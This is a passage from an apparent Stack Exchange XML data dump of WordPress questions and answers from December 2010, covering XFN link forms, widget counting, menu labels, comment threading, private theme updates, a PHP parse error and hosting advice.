      &amp;lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;family&quot; value=&quot;parent&quot; id=&quot;parent&quot; &amp;lt;?php xfn_check('family', 'parent'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('parent') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;sibling&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;family&quot; value=&quot;sibling&quot; id=&quot;sibling&quot; &amp;lt;?php xfn_check('family', 'sibling'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('sibling') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;spouse&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;family&quot; value=&quot;spouse&quot; id=&quot;spouse&quot; &amp;lt;?php xfn_check('family', 'spouse'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('spouse') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;family&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;family&quot; value=&quot;&quot; id=&quot;family&quot; &amp;lt;?php xfn_check('family'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th scope=&quot;row&quot;&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('romantic') ?&amp;gt; &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;fieldset&amp;gt;&amp;lt;legend class=&quot;screen-reader-text&quot;&amp;gt;&amp;lt;span&amp;gt; &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('romantic') ?&amp;gt; &amp;lt;/span&amp;gt;&amp;lt;/legend&amp;gt;&#xA;                        &amp;lt;label for=&quot;muse&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;romantic&quot; value=&quot;muse&quot; id=&quot;muse&quot; &amp;lt;?php xfn_check('romantic', 'muse'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('muse') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;crush&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;romantic&quot; value=&quot;crush&quot; id=&quot;crush&quot; &amp;lt;?php xfn_check('romantic', 'crush'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('crush') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;date&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;romantic&quot; value=&quot;date&quot; id=&quot;date&quot; &amp;lt;?php xfn_check('romantic', 'date'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('date') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;label for=&quot;romantic&quot;&amp;gt;&#xA;                        &amp;lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;romantic&quot; value=&quot;sweetheart&quot; id=&quot;romantic&quot; &amp;lt;?php xfn_check('romantic', 'sweetheart'); ?&amp;gt; /&amp;gt;&#xA;                        &amp;lt;?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('sweetheart') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php _e('If the link is to a person, you can specify your relationship with them using the above form. If you would like to learn more about the idea check out &amp;lt;a href=&quot;http://gmpg.org/xfn/&quot;&amp;gt;XFN&amp;lt;/a&amp;gt;.'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A lot of copypasta from core, but its better than a hack. You of course are free to change the xfn options in any way you want.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-11T21:41:50.543" CommentCount="1" />
  <row Id="5204" PostTypeId="2" ParentId="5202" CreationDate="2010-12-11T21:47:15.407" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/author_can&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;author_can()&lt;/code&gt;&lt;/a&gt; seems to fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( author_can( get_the_ID(), 'administrator' ) ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-12-11T22:15:24.133" LastActivityDate="2010-12-11T22:15:24.133" CommentCount="5" />
  <row Id="5205" PostTypeId="2" ParentId="15" CreationDate="2010-12-11T23:58:05.703" Score="0" ViewCount="" Body="&lt;p&gt;Why do you say Janrain is to limited? just call the javascript &lt;code&gt;showRPX()&lt;/code&gt; anywhere you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, in my theme, I had&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$u=get_login_url();&#xA;printf(&quot;&amp;lt;a href='$u'&amp;gt;login&amp;lt;/a&amp;gt;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just use instead&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$u=get_login_url();&#xA;printf(&quot;&amp;lt;a href='$u' onclick='javascript:showRPX();return false;'&amp;gt;login&amp;lt;/a&amp;gt;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not free as in free speech, but I think you have enough freedom with their solution&lt;/p&gt;&#xA;" LastActivityDate="2010-12-11T23:58:05.703" />
  <row Id="5206" PostTypeId="1" AcceptedAnswerId="5210" CreationDate="2010-12-12T00:05:44.103" Score="1" ViewCount="102" Body="&lt;p&gt;How can I get the number (count) of, let's say, text widgets from a sidebar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for eg. if I drop 4 text widgets in the sidebar, I want to get this number somehow from another widget&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2010-12-12T11:08:25.520" Title="Count widgets of a certain type" Tags="&lt;3.0&gt;&lt;widgets&gt;&lt;php&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="5207" PostTypeId="1" AcceptedAnswerId="5209" CreationDate="2010-12-12T05:22:50.240" Score="1" ViewCount="187" Body="&lt;p&gt;I'd like to have the home page have a menu title of &quot;Home&quot; and a different page title &quot;What we can do for you&quot;. How to do this without going into code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plug in to do this?&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2010-12-12T14:32:24.280" Title="How to have &quot;Page Title&quot; different than &quot;Menu Title&quot; in wordpress 3.0.3?" Tags="&lt;plugin-recommendation&gt;&lt;3.0.1&gt;" AnswerCount="2" />
  <row Id="5208" PostTypeId="2" ParentId="5181" CreationDate="2010-12-12T05:24:08.883" Score="1" ViewCount="" Body="&lt;p&gt;I'm not sure why you don't just insert the code in the single.php, or use Denis's solution, but if you want to hook into &lt;code&gt;the_content&lt;/code&gt; you can do so by putting the following in your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function append_the_content($content) {&#xA;    $content .= 'PUT YOUR FUNCTION HERE';&#xA;       return $content;&#xA;}&#xA;add_filter('the_content', 'append_the_content');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add directly to the end of &lt;code&gt;the_content&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can call your Twitter function above this and it should work.  You'd be better off using a theme framework with some custom hooks because hooking into &lt;code&gt;the_content&lt;/code&gt; in this way can get very buggy very fast depending on what other filters/hooks your theme and plugins are using to modify &lt;code&gt;the_content&lt;/code&gt;. I don't know why it happens, I just know that it does.&lt;/p&gt;&#xA;" OwnerUserId="765" LastEditorUserId="765" LastEditorDisplayName="" LastEditDate="2010-12-12T07:01:47.580" LastActivityDate="2010-12-12T07:01:47.580" CommentCount="5" />
  <row Id="5209" PostTypeId="2" ParentId="5207" CreationDate="2010-12-12T07:11:56.210" Score="2" ViewCount="" Body="&lt;p&gt;You don't need a plugin if you're using the built in menus - in Appearance -&gt; Menus, click on a menu item and you can change it's navigation label. The label is what shows in the menus.&lt;/p&gt;&#xA;" OwnerUserId="1890" LastActivityDate="2010-12-12T07:11:56.210" CommentCount="1" />
  <row Id="5210" PostTypeId="2" ParentId="5206" CreationDate="2010-12-12T11:08:25.520" Score="1" ViewCount="" Body="&lt;p&gt;Call wp_get_sidebars_widgets(), and loop through each sidebar. Off the top of my head, text widgets have an ID like widget_text-$i.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-12T11:08:25.520" CommentCount="1" />
  <row Id="5211" PostTypeId="1" AcceptedAnswerId="5212" CreationDate="2010-12-12T12:12:04.097" Score="1" ViewCount="83" Body="&lt;p&gt;I like to have a clean blog, and I also like that comments that are replies to other comments actually are replies to other comments. Some people don't mind that difference too much and just leave another comment instead of a reply. That's alright, but I'd like to fix it so that my blog stays clean and so that things are clearer to myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way that I can &quot;move&quot; a regular comment so that it becomes a reply to a certain comment instead?&lt;/p&gt;&#xA;" OwnerUserId="1919" LastActivityDate="2011-07-11T08:27:43.553" Title="Is it possible to move a comment that should be a reply to another comment?" Tags="&lt;comments&gt;&lt;cleanup&gt;" AnswerCount="3" />
  <row Id="5212" PostTypeId="2" ParentId="5211" CreationDate="2010-12-12T12:22:47.353" Score="0" ViewCount="" Body="&lt;p&gt;first, if you're not already using it, you need &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-thread-comment/&quot; rel=&quot;nofollow&quot;&gt;wordpress threaded comment&lt;/a&gt;. you can stylize it with css of course. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;after that, if someone comments the post, and you think it was supposed to be a reply to some other comment, you can do it with &lt;a href=&quot;http://wordpress.org/extend/plugins/move-wordpress-comments/&quot; rel=&quot;nofollow&quot;&gt;move wordpress comments&lt;/a&gt; or just do it manualy... &lt;/p&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2010-12-12T12:22:47.353" CommentCount="3" />
  <row Id="5213" PostTypeId="2" ParentId="45" CreationDate="2010-12-12T12:23:06.173" Score="4" ViewCount="" Body="&lt;p&gt;As of WordPress 3.1 (I'm using the beta) columns can now be sortable via their titles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following post details how implement them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://scribu.net/wordpress/custom-sortable-columns.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/custom-sortable-columns.html&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-12-12T12:23:06.173" />
  <row Id="5214" PostTypeId="2" ParentId="5156" CreationDate="2010-12-12T12:57:02.720" Score="0" ViewCount="" Body="&lt;p&gt;You could use some jQuery, i'd have thought a couple of lines of script is lighter then having to do lookup queries to figure out which items have children..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;  &#xA;jQuery(document).ready( function($) {&#xA;    $('#my_menu_id li.current-menu-item').has('ul').addClass('has_children');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course making sure to update the selector to match your menu ID(s)/Class(es)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference for jQuery has function.&#xA;&lt;a href=&quot;http://api.jquery.com/has/&quot; rel=&quot;nofollow&quot;&gt;http://api.jquery.com/has/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-18T14:04:34.467" LastActivityDate="2011-04-18T14:04:34.467" CommentCount="1" />
  <row Id="5215" PostTypeId="2" ParentId="5207" CreationDate="2010-12-12T14:32:24.280" Score="0" ViewCount="" Body="&lt;p&gt;and if you use the wp_list_pages or wp_page_menu function, you may find this plugin usefull : &lt;a href=&quot;http://wordpress.org/extend/plugins/page-menu-editor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/page-menu-editor/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2010-12-12T14:32:24.280" />
  <row Id="5217" PostTypeId="1" AcceptedAnswerId="5218" CreationDate="2010-12-12T15:41:07.593" Score="0" ViewCount="96" Body="&lt;p&gt;I'm attempting to dynamically create a text widget, add it to a named sidebar widget that my theme has already created ($sidebar_id = 'home-header-widget'), then populate the text widget with some preset content. I'm getting an error as indicated above at line 35 (commented below). Any ideas what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected '[' in C:....widgettest.php on line 35&#xA;&#xA;&#xA;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Widget Test&#xA;*/&#xA;&#xA;&#xA;function cb_activate_widgettest(){&#xA;&#xA;    $ops = get_option('widget_text');&#xA;    // find an $id that works...&#xA;    $ops[$id] = array(&#xA;      'title' =&amp;gt; '',&#xA;      'text' =&amp;gt; 'bar', // content?&#xA;    );&#xA;    update_option('widget_text', $ops);&#xA;&#xA;    $sidebar_id = 'home-header-widget';&#xA;    $sidebars_widgets = get_option('sidebars_widgets');&#xA;    $sidebars_widgets[$sidebar_id] = [&quot;widget_text-$id&quot;];  //this is line 35&#xA;    update_option('sidebars_widgets', $sidebars_widgets);&#xA;}&#xA;&#xA;register_activation_hook(__FILE__, 'cb_activate_widgettest');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-12-12T15:57:48.013" Title="Plugin could not be activated because it triggered a fatal error, unexpected '['" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="5218" PostTypeId="2" ParentId="5217" CreationDate="2010-12-12T15:57:48.013" Score="3" ViewCount="" Body="&lt;p&gt;This part triggers it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;= [&quot;widget_text-$id&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Copy paste gone wrong or something? Square brackets used this way make no sense to PHP.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-12T15:57:48.013" />
  <row Id="5219" PostTypeId="2" ParentId="13" CreationDate="2010-12-12T15:58:17.360" Score="7" ViewCount="" Body="&lt;p&gt;This plugin does it for you...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://w-shadow.com/blog/2010/09/02/automatic-updates-for-any-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://w-shadow.com/blog/2010/09/02/automatic-updates-for-any-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2010-12-12T15:58:17.360" CommentCount="1" />
  <row Id="5220" PostTypeId="1" AcceptedAnswerId="5223" CreationDate="2010-12-12T16:01:53.087" Score="1" ViewCount="182" Body="&lt;p&gt;Is there any way to get wordpress to check for, download private theme updates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this plugin for private plugin updates....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://w-shadow.com/blog/2010/09/02/automatic-updates-for-any-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://w-shadow.com/blog/2010/09/02/automatic-updates-for-any-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for the same thing but for themes.&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2010-12-12T17:58:36.673" Title="Automatic Updates For Private And Commercial Themes?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;updates&gt;&lt;auto-update&gt;" AnswerCount="2" />
  <row Id="5221" PostTypeId="2" ParentId="5220" CreationDate="2010-12-12T16:36:24.880" Score="0" ViewCount="" Body="&lt;p&gt;I've found this that seems it might do the job...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://konstruktors.com/blog/wordpress/2538-automatic-updates-for-plugins-and-themes-hosted-outside-wordpress-extend/&quot; rel=&quot;nofollow&quot;&gt;http://konstruktors.com/blog/wordpress/2538-automatic-updates-for-plugins-and-themes-hosted-outside-wordpress-extend/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2010-12-12T16:36:24.880" />
  <row Id="5222" PostTypeId="1" AcceptedAnswerId="5293" CreationDate="2010-12-12T17:07:35.140" Score="0" ViewCount="250" Body="&lt;p&gt;Is there some plugin or some way to integarate any of the following :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cubepoints&lt;/li&gt;&#xA;&lt;li&gt;Achievements&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;with either of the following : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Favorite (default in bp)&lt;/li&gt;&#xA;&lt;li&gt;Vote it Up&lt;/li&gt;&#xA;&lt;li&gt;Emo Votes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1926" LastActivityDate="2010-12-13T18:53:07.063" Title="Integration of Cubepoints/Achievements" Tags="&lt;buddypress&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5223" PostTypeId="2" ParentId="5220" CreationDate="2010-12-12T17:58:36.673" Score="2" ViewCount="" Body="&lt;p&gt;It's quite possible. I've been doing this for years with my Version Checker plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not distribute it openly, but in essence it checks a private version API , and then tosses the extra results into the update_core, update_plugins and update_themes site transients. WP then takes it seamlessly from there courtesy of the WP patches I supplied when I was developing it.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-12T17:58:36.673" />
  <row Id="5224" PostTypeId="1" AcceptedAnswerId="5225" CreationDate="2010-12-12T18:28:35.483" Score="1" ViewCount="237" Body="&lt;p&gt;How can I find out in which sidebar was a widget dropped? From inside that widget. More precisely from the &lt;code&gt;form()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I automatically remove the widget if it's not added in the appropriate sidebar?&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2010-12-12T18:57:06.340" Title="Get the sidebar ID in which the current widget was dropped" Tags="&lt;3.0&gt;&lt;widgets&gt;&lt;php&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="5225" PostTypeId="2" ParentId="5224" CreationDate="2010-12-12T18:57:06.340" Score="1" ViewCount="" Body="&lt;p&gt;See this thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3002/limit-widget-to-certain-sidebar&quot;&gt;Limit widget to certain sidebar?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-12T18:57:06.340" />
  <row Id="5226" PostTypeId="2" ParentId="2764" CreationDate="2010-12-12T19:02:14.590" Score="0" ViewCount="" Body="&lt;p&gt;I can't post a comment yet but just wanted to clarify Edelman's answer.  Out of the box, Buddypress does not have notifications of friend requests as a flag (like (1) on Facebook when there is new activity).  What it does instead is show a count of your total friends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you suggest will certainly take some hacking as I don't know of an out-of-the-box solution yet.  You may want to take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/mark-as-read/&quot; rel=&quot;nofollow&quot;&gt;Mark as Read&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1697" LastActivityDate="2010-12-12T19:02:14.590" />
  <row Id="5227" PostTypeId="1" CreationDate="2010-12-12T19:18:54.137" Score="1" ViewCount="175" Body="&lt;p&gt;I am using a custom template for my monthly Archive page. This page will show all the posts-links (category-wise) for the particular month. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the very first post of each month, there shall be only one image.&#xA;I want to pull this image and need to show it as a thumbnail on the specific-month archive page, before the posts-links of the said month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be possible? Many thanks for kind help. &lt;/p&gt;&#xA;" OwnerUserId="1651" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T18:06:08.593" LastActivityDate="2011-02-05T18:06:08.593" Title="How to pull image from first post and display it on monthly Archive page?" Tags="&lt;plugin-recommendation&gt;&lt;archive&gt;&lt;post-thumbnails&gt;" AnswerCount="2" />
  <row Id="5228" PostTypeId="2" ParentId="5227" CreationDate="2010-12-12T20:26:47.520" Score="1" ViewCount="" Body="&lt;p&gt;This will get the first image listed in the &quot;gallery&quot; section of your post (not the visible gallery if there is one, but the one if you click on insert image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://snipplr.com/view/12513/display-the-first-image-attachment-of-a-wordpress-post/&quot; rel=&quot;nofollow&quot;&gt;http://snipplr.com/view/12513/display-the-first-image-attachment-of-a-wordpress-post/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1817" LastActivityDate="2010-12-12T20:26:47.520" />
  <row Id="5229" PostTypeId="1" CreationDate="2010-12-12T20:27:49.907" Score="0" ViewCount="89" Body="&lt;p&gt;Every wp page has link structure like http:/site.com/?paged=1,2,3..50(last)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how exchange it on http:/site.com/?paged=50,49,48..1(last)&lt;/p&gt;&#xA;" LastActivityDate="2011-01-12T14:31:05.093" Title="How to reverse wp pages links?" Tags="&lt;blog-page&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="5230" PostTypeId="1" CreationDate="2010-12-12T20:44:16.527" Score="0" ViewCount="130" Body="&lt;p&gt;I host a number of WordPress sites, some of which have VERY large databases. I've gone through several popular web hosts though no joy yet. Any suggestions.&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-12-13T06:47:09.640" LastActivityDate="2010-12-13T06:47:09.640" CommunityOwnedDate="2010-12-28T21:38:35.127" Title="Best host for running large mem and processor intensive WordPress sites?" Tags="&lt;database&gt;&lt;hosting&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="5231" PostTypeId="1" AcceptedAnswerId="5242" CreationDate="2010-12-12T21:16:45.307" Score="1" ViewCount="112" Body="&lt;p&gt;i started a new blog and i see that there are two pages it starts out with:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Home&lt;/li&gt;&#xA;&lt;li&gt;About&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;i want to add a third one but instead of having it load up an internal page, i want to have this go to an external link.  is this possible ?&lt;/p&gt;&#xA;" OwnerUserId="1195" LastActivityDate="2010-12-13T13:16:50.397" Title="how can i add a menu link that goes to an external page" Tags="&lt;links&gt;&lt;pages&gt;" AnswerCount="3" />
  <row Id="5232" PostTypeId="1" AcceptedAnswerId="5705" CreationDate="2010-12-12T21:22:38.960" Score="1" ViewCount="350" Body="&lt;p&gt;I'd like to have my header banner change every day, chosen (e.g. randomly) from a list/folder of images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I only found plugins that select a random banner per post or per page view, neither is what I want. Do you know of a plugin, or any other way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Example. I'm adding a folder to my wordpress installation. This folder contains some header images. Every 24 hours, an random image is chosen from this folder and becomes the header image for 24 hours, until another random image is chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, I don't care how exactly the image is chosen - I'm fine with rotating through all images in the folder as well. The only thing I care about is that the chosen image stays there for 24 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it's the same as if I were picking a new header image manually every day.&lt;/p&gt;&#xA;" OwnerUserId="271" LastEditorUserId="271" LastEditorDisplayName="" LastEditDate="2011-01-06T10:01:16.433" LastActivityDate="2011-01-06T16:50:08.523" Title="How to rotate the header image per day?" Tags="&lt;3.0&gt;&lt;plugin-recommendation&gt;&lt;plugins&gt;&lt;headers&gt;" AnswerCount="5" CommentCount="6" FavoriteCount="1" />
  <row Id="5233" PostTypeId="2" ParentId="5230" CreationDate="2010-12-12T22:05:23.870" Score="1" ViewCount="" Body="&lt;p&gt;Depending on what you're looking for, I'd suggest &lt;a href=&quot;http://hub.org&quot; rel=&quot;nofollow&quot;&gt;http://hub.org&lt;/a&gt;. It's not necessarily the cheapest around, nor does it necessarily have the most cutting edge control panel. But you get a VPS maintained by the most proficient system admin I can name (he's one of the original four behind postgresql), and it's an actual managed VPS (in the sense that whatever is not in the control panel, meaning much about everything except domain and email management, ends up as a &quot;can you please do...&quot; kind of support ticket). Highly recommended.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-12T22:05:23.870" />
  <row Id="5234" PostTypeId="2" ParentId="5232" CreationDate="2010-12-12T22:07:52.370" Score="1" ViewCount="" Body="&lt;p&gt;If you can't code, sorry no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can code, look at which hook these plugins are using, and create a new plugin accordingly.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-12T22:07:52.370" />
  <row Id="5235" PostTypeId="2" ParentId="5231" CreationDate="2010-12-12T22:09:49.030" Score="1" ViewCount="" Body="&lt;p&gt;If memory serves, look under the pages. If not, somewhere else in the menu editor. Somewhere in there youve the possibility to enter an arbitrary URL.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-12T22:09:49.030" />
  <row Id="5236" PostTypeId="2" ParentId="1653" CreationDate="2010-12-12T22:18:01.940" Score="0" ViewCount="" Body="&lt;p&gt;I just had a site that was very slow on its home page. I checked the .htaccess and discovered some weird lines in there, maybe worth checking also.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-12-12T22:18:01.940" />
  <row Id="5237" PostTypeId="1" AcceptedAnswerId="5285" CreationDate="2010-12-12T22:54:50.160" Score="1" ViewCount="304" Body="&lt;p&gt;I am looking for a wordpress plugin that allows my users to customize which posts are appearing on the home page. The users should have a settings page where they can select which categories and tags they´d like to see posts from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know if anything like that has been developed? Free or premium.&lt;/p&gt;&#xA;" OwnerUserId="1635" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-12-13T04:40:32.837" LastActivityDate="2011-02-06T02:21:12.173" Title="Filter index page plugin" Tags="&lt;plugin-recommendation&gt;" AnswerCount="3" />
  <row Id="5238" PostTypeId="1" AcceptedAnswerId="5267" CreationDate="2010-12-12T22:59:24.350" Score="0" ViewCount="226" Body="&lt;p&gt;On the right rail here: &lt;a href=&quot;http://www.julianamaeberger.com/soma/sample-testimonial-3/&quot; rel=&quot;nofollow&quot;&gt;http://www.julianamaeberger.com/soma/sample-testimonial-3/&lt;/a&gt; I am showing a random post &quot;Testimonial&quot;. Below that I am showing all featured images for the category &quot;Testimonial&quot; so that you can flip through the images and choose where you want to go next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to highlight the image that is related to the content above, but can't figure out how to do it. This is my first time building templates, so I may be going about it the wrong way. Any help in the right direction would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for the right rail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;rightcolumn&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;testimonial&quot;&amp;gt;&#xA;     &amp;lt;h3&amp;gt;Testimonials&amp;lt;/h3&amp;gt;&#xA;     &amp;lt;?php&#xA; $postslist = get_posts('category_name=testimonial&amp;amp;numberposts=1&amp;amp;orderby=rand');&#xA; foreach ($postslist as $post) : &#xA;    setup_postdata($post);&#xA; ?&amp;gt;&#xA;     &amp;lt;?php the_content(); ?&amp;gt;&#xA;     &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;carousel default&quot;&amp;gt; &#xA;      &amp;lt;div class=&quot;jCarouselLite&quot;&amp;gt;&#xA;        &amp;lt;ul class=&quot;portfolio&quot;&amp;gt;&#xA;          &amp;lt;?php&#xA; $postslist = 